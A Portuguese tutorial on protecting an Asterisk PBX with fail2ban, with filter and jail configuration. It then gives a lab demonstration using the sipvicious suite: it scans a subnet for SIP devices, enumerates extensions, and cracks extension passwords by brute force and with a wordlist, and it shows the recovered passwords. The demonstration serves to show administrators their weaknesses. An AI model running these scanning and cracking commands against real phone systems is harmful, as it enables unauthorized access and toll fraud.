fail2ban asterisk invasor invadido! Como se preparar

Créditos: Wagner Nunes (http://wnunes.com) modificado por Ulisses Féres.

Uma forma simples de minimizar problemas com ataques por força bruna no asterisk é a implementação do fail2ban.

Na pratica este serviço analisa as entradas nos logs e implementa regras de iptables baseadas nessa analise, desta forma a reincidência de expressões como “Wrong password” nos logs do asterisk gera um drop no iptables para o ip que está tentando se autenticar.

Instalando o fail2ban

Dependências:

* python
* iptables

No debian, para se certificar que as dependências estão instaladas, basta rodar o seguinte comando:

#apt-get install python iptables

Descompacte o pacote
Configurando o Fail2Ban

Agora nós precisamos fazer com que o fail2ban seja capaz de identificar ataques contra o asterisk.

Os arquivos de configuração ficam em: /etc/fail2ban/filter.d

Vamos criar aqui um arquivo para o asterisk.

#touch asterisk.conf

Este arquivo deve conter o seguinte:
#—————————————————————-
[INCLUDES]

[Definition]
failregex = NOTICE.* .*: Registration from ‘.*’ failed for ‘’ – Wrong password
NOTICE.* .*: Registration from ‘.*’ failed for ‘’ – No matching peer found
NOTICE.* .*: Registration from ‘.*’ failed for ‘’ – Username/auth name mismatch
NOTICE.* .*: Registration from ‘.*’ failed for ‘’ – Device does not match ACL
NOTICE.* failed to authenticate as ‘.*’$
NOTICE.* .*: No registration for peer ‘.*’ \(from \)
NOTICE.* .*: Host failed MD5 authentication for ‘.*’ (.*)
NOTICE.* .*: Failed to authenticate user .*@.*
ignoreregex =

#————————————————————————

ATENÇÃO, NO ASTERISK 1.8 foi necessário fazer alguns ajustes nesse arquivo, adicionando a frente da string HOST o parametro (:[0-9]{1,5})? ficando como abaixo:

[INCLUDES]
[Definition]

failregex = NOTICE.* .*: Registration from ‘.*’ failed for ‘(:[0-9]{1,5})?’ – Wrong password
NOTICE.* .*: Registration from ‘.*’ failed for ‘(:[0-9]{1,5})?’ – No matching peer found
NOTICE.* .*: Registration from ‘.*’ failed for ‘(:[0-9]{1,5})?’ – Username/auth name mismatch
NOTICE.* .*: Registration from ‘.*’ failed for ‘(:[0-9]{1,5})?’ – Device does not match ACL
NOTICE.* failed to authenticate as ‘.*’$
NOTICE.* .*: No registration for peer ‘.*’ \(from \)
NOTICE.* .*: Host failed MD5 authentication for ‘.*’ (.*)
NOTICE.* .*: Failed to authenticate user .*@.*

ignoreregex =

——————————————————————————————-
ATENÇÃO, NO ASTERISK 1.6 foi necessário fazer alguns ajustes como abaixo:

[INCLUDES]
[Definition]
failregex = NOTICE.* .*: Registration from ‘.*’ failed for ‘‘ – Wrong password
NOTICE.* .*: Registration from ‘.*’ failed for ‘‘ – No matching peer found
NOTICE.* .*: Registration from ‘.*’ failed for ‘‘ – Username/auth name mismatch
NOTICE.* .*: Registration from ‘.*’ failed for ‘‘ – Device does not match ACL
NOTICE.* .*: failed to authenticate as ‘.*’$
NOTICE.* .*: No registration for peer ‘.*’ (from )
NOTICE.* .*: Host failed MD5 authentication for ‘.*’ (.*)
NOTICE.* .*: Failed to authenticate user .*@.*
ignoreregex =
———————————————————————————————

No aquivo /etc/fail2ban/jail.conf inclua as seguintes linhas:

[asterisk-iptables]
enabled = true
filter = asterisk
action = iptables-allports[name=ASTERISK, protocol=all]
sendmail-whois[name=ASTERISK, dest=root, sender=abratel@gmail.com
logpath = /var/log/asterisk/messages
maxretry = 3
bantime = 259200

Maxretry determina a quantidade de erros que o fail2ban vai aceitar de um determinado host antes de bani-lo.

O bantime é em segundos, portanto neste caso qualquer tentativa de ataque ao asterisk será banida por 72 horas.

Para não banir você mesmo, no jail.conf, procure pela tag [DEFAULT], no paramento ignoreip informe seu ip.

Edite o /etc/asterisk/logger.conf e defina o dateformat da seguinte forma.

/etc/asterisk/logger.conf
[general]
dateformat=%F %T

[logfiles]
console => notice,warning,error,debug,verbose
messages => notice,warning,error
full => notice,warning,error,debug,verbose
syslog.local0 => notice

Feito isso é só dar reload no logger

asterisk -rx ”logger reload”

Para verificar se o fail2ban subiu, basta rodar o seguinte comando:

/etc/init.d/fail2ban stop
/etc/init.d/fail2ban start

iptables -L -v

As seguintes linhas devem aparecer:

Chain fail2ban-ASTERISK (1 references)
pkts bytes target prot opt in out source destination
6287K 1158M RETURN all – any any anywhere anywhere

Adicionar a run level para início automático:
ln -s /etc/init.d/fail2ban /etc/rc2/S99fail2ban

———————
Testando
———————

Mas chega de enrolação, o objetivo deste artigo é mostrar como funciona uma das ferramentas mais usadas nesse tipo de ataque.

Lembrando que este material tem carater meramente educativo, E EU NÃO ME RESPONSABILIZO DE FORMA ALGUMA PELO MAU USO DAS INFORMAÇÕES AQUI CONTIDAS.

O que é o sipvicious?
Sipvicious é uma suite de ferramentas para auditoria em sistemas voip baseados em sip, ele é composto por 4 ferramentas:
svmap – Um sip scanner capas de listar dispositivos sip em uma rede ou range de ips.
svwar – Ferramenta que identifica ramais sip em um PBX.
svcrack – Ferramenta para quebrar senhas de ramais sip.

Requisitos:
Python 2.4 ou superior.
O ideial é que não haja um asterisk rodando na maquina de testes, por uma questão de utlização da porta 5060, ok.
Ok, mãos a obra.

* Para este teste, uma rede foi montada com os erros mais comuns na administração de servidores Asterisk, são eles:
* Ramais onde a senha é o numero do ramal.
* Ramais com senhas toscas que podem ser facilmente encontradas em wordlists.
* Ramais sem senha.
* Firewall chumbrega.
* fail2ban nem pensar.
* Sem regras de permit/deny no sip.conf
* Todos os ramais ligam pra qualquer lugar.

Neste teste nós nem vamos utilizar todas estas falhas, mas pense a respeito!!!!

Download do sipvicious

wget http://sipvicious.googlecode.com/files/sipvicious-0.2.4.tar.gz
tar -zxvf sipvicious-0.2.4.tar.gz
cd sipvicious-0.2.4

Vamos rastrear os dipositivos SIP na rede.

./svmap.py 10.6.12.0/24

| SIP Device | User Agent | Fingerprint |
————————————————————————————————————-
| 10.6.12.76:5060 | Asterisk PBX | Asterisk PBX |
| 10.6.12.65:5060 | T20 9.41.0.80 | AVM or Speedport |
| 10.6.12.47:5060 | T20 9.41.0.70 | AVM or Speedport |
| 10.6.12.48:5060 | T20 9.41.0.80 | AVM or Speedport |
| 10.6.12.43:5060 | Grandstream GXP280 1.2.3.5 | Grandstream phone |
| 10.6.12.45:5060 | Grandstream GXP280 1.2.3.5 | Grandstream phone |
| 10.6.12.83:5060 | Grandstream GXP280 1.2.2.26 | Grandstream phone |
| 10.6.12.31:5060 | T20 9.41.0.70 | AVM or Speedport |
| 10.6.12.55:5060 | T20 9.41.0.70 | AVM or Speedport |
| 10.6.12.80:5060 | T20 9.41.0.80 | AVM or Speedport |
| 10.6.12.240:5060 | Asterisk PBX | Asterisk / Linksys/PAP2T-3.1.15(LS) |
| 10.6.12.3:5060 | Asterisk PBX | Asterisk / Linksys/PAP2T-3.1.15(LS) |
| 10.6.12.32:5060 | Yealink SIP-T20P 9.41.0.77 00:15:65:11:c2:8d | AVM or Speedport |
| 10.6.12.34:5060 | T20 9.41.0.80 | AVM or Speedport |
| 10.6.12.23:5060 | Asterisk PBX | Asterisk PBX |
Ok, o 23 ta com cara de alvo. Vamos ver oque ele tem

./svwar.py 10.6.12.23

| Extension | Authentication |
——————————
| 201 | reqauth |
| 200 | reqauth |
| 203 | reqauth |
| 205 | reqauth |
| 204 | reqauth |
| 207 | reqauth |
| 206 | reqauth |
| 208 | reqauth |
| 210 | reqauth |
| 211 | reqauth |
| 501 | reqauth |
| 217 | reqauth |
| 500 | reqauth |
| 212 | reqauth |
| 250 | reqauth |
| 220 | reqauth |
| 502 | reqauth |
| 222 | reqauth |
| 221 | reqauth |
| 213 | reqauth |
| 1100 | noauth |
| 1101 | noauth |

Para teste de senhas numericas basta rodar o seguinte comando.
./svcrack.py 10.6.12.23 -u 201
| Extension | Password |
—————————–
| 201 | 123 |

Senha fraca né???
Senhas alfanuméricas podem ser crackeadas atravéz de uma wordlist.

./svcrack.py 10.6.12.23 -u 202 -d /etc/dicionario.txt

| Extension | Password |
—————————–
| 202 | teste |
oops, mais uma!!!

Deixe um comentário